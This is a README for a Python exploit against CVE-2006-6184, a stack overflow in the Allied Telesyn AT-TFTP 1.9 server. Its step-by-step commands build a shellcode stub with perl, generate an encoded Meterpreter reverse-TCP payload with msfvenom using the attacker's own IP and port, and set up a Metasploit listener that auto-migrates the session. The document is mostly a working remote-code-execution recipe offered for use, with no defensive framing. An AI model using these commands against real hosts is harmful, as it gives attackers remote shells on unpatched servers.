CVE-2006-6184

This is a python-based standalone exploit for CVE-2006-6184. This exploit triggers a stack-based buffer overflow in Allied Telesyn TFTP Server (AT-TFTP) 1.9, and possibly earlier, allowing remote attackers to cause a denial of service or execute arbitrary code.

Instructions (Updated for 2020)

The payload must be customized to include your own IP address and listening port, so you'll need to generate it manually. To do so, use the following steps:

1.) Enter the following to create a hex file of the amount that needs to be subtracted from the stack pointer (3500):

perl -e 'print "\x81\xec\xac\x0d\x00\x00"' > stackadj

2.) Next, use the following command to create a staged meterpreter shell payload:

msfvenom -p windows/meterpreter/reverse_nonx_tcp LHOST=[your IP] LPORT=[your port] R > payload

3.) Then, combine the two files you just created.

cat stackadj payload > shellcode

4.) Finally, let's eliminate the bad characters.

msfvenom -p generic/custom PAYLOADFILE=./shellcode -b "\x00" -e x86/shikata_ga_nai -f python

Enter the output as the value of the "payload" variable. You may need to run this exploit a few times for it to work.

Metasploit Listener

1. use exploit/multi/handler
2. set PAYLOAD windows/meterpreter/reverse_nonx_tcp
3. set ExitOnSession false
4. set AutoRunScript post/windows/manage/migrate
5. exploit -j